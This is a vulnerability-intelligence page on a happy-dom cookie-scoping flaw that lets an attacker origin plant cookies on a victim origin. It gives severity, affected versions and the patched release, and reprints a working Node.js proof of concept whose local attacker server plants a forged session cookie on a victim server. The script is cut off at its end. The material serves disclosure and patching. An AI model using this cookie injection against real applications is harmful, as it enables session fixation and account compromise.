KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 02:31 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-118661

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics. happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.

Published Updated

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: happy-dom: 20.14.6. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-5fpq-26gf-qwcr (opens a new tab)

What happened

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

Continue reading

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
 if (req.method === 'OPTIONS') {
 // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
 // attacker trivially answers it — an attacker-controlled server always can)
 res.writeHead(204, {
 'Access-Control-Allow-Origin': '*',
 'Access-Control-Allow-Methods': 'GET, OPTIONS',
 'Access-Control-Allow-Headers': '*'
 });
 res.end();
 return;
 }
 res.writeHead(200, {
 'content-type': 'image/gif',
 'Access-Control-Allow-Origin': '*',
 // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
 // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
 // the request-host; localhost is also on the Mozilla PSL).
 'Set-Cookie': attackerSetCookie
 });
 res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
 victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
 res.writeHead(200, { 'content-type': 'application/json' });
 res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
 victimReceivedCookies = [];
 const win = new Window({
 url: `http://localhost:${VIC_PORT}/`,
 settings: {
 enableJavaScriptEvaluation: true,
 suppressInsecureJavaScriptEnvironmentWarning: true
 }
 });
 try {
 if (scenario === 'no-plant-control') {
 // Control: app NEVER contacts attacker -> victim must receive NO cookie
 await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
 } else if (scenario === 'honest-domain-control') {
 // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
 // -> cookie must NOT leak to localhost victim
 attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
 await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
 await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
 } else {
 // attack: app fetches attacker content (scraping/SSR/third-party resource)
 await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
 await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
 }
 await sleep(150);
 return victimReceivedCookies;
 } finally {
 win.happyDOM.abort();
 }
}

async function main() {
 await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
 await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

 console.log('=== happy-dom cookie-domain scoping PoC ===\n');

 const attack = await runScenario('attack');
 console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
 attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
 const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
 console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

 const noPlant = await runScenario('no-plant-control');
 console.log('\n[CONTROL] app never contacts attacker');
 noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

 const honest = await runScenario('honest-domain-control');
 console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
 honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

 // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
 const win2 = new Window({
 url: `http://localhost:${VIC_PORT}/`,
 settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
 });
 win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
 const readBack = win2.document.cookie;
 console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
 console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
 win2.happyDOM.abort();

 // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
 const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
 const matchesBoundary = CookieURLUtility.cookieMatchesURL(
 { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
 new URL('https://notexample.com/')
 );
 console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = 

Affected package ranges reported by GitHub:
happy-dom: <= 20.14.5

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow JavaScript packages (npm): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-5fpq-26gf-qwcr (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-5fpq-26gf-qwcr, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies (CVE-2026-118661). https://kevwire.com/record/CVE-2026-118661

MLA

"Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies (CVE-2026-118661)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-118661.

Chicago

KEVWire. "Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies (CVE-2026-118661)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-118661.

Evidence summary (plain text)

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies (Oct 28, 2026).
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

Run:

Full proof-of-concept source (poc-happydom-cookie-domain.js):
CVSS 6.5 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-5fpq-26gf-qwcr).
Sources:
GitHub-reviewed advisory GHSA-5fpq-26gf-qwcr: https://github.com/advisories/GHSA-5fpq-26gf-qwcr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-118661.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 02:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail